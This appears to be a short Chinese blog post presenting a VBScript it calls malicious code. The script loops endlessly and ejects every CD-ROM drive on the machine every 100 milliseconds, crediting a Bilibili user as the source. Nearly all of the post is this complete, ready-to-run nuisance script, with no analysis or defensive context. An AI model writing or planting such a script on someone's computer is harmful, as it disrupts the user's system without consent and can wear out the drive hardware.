【恶意代码】开启CD蜂鸣器

发表于 更新于 阅读次数：

前言

开启CD蜂鸣器恶意代码

恶意代码

1
2
3
4
5
6
7
8
9
10
11
12
13
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Current >= 1 then
For i = 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop

完成

参考文献

哔哩哔哩——Aaa2呀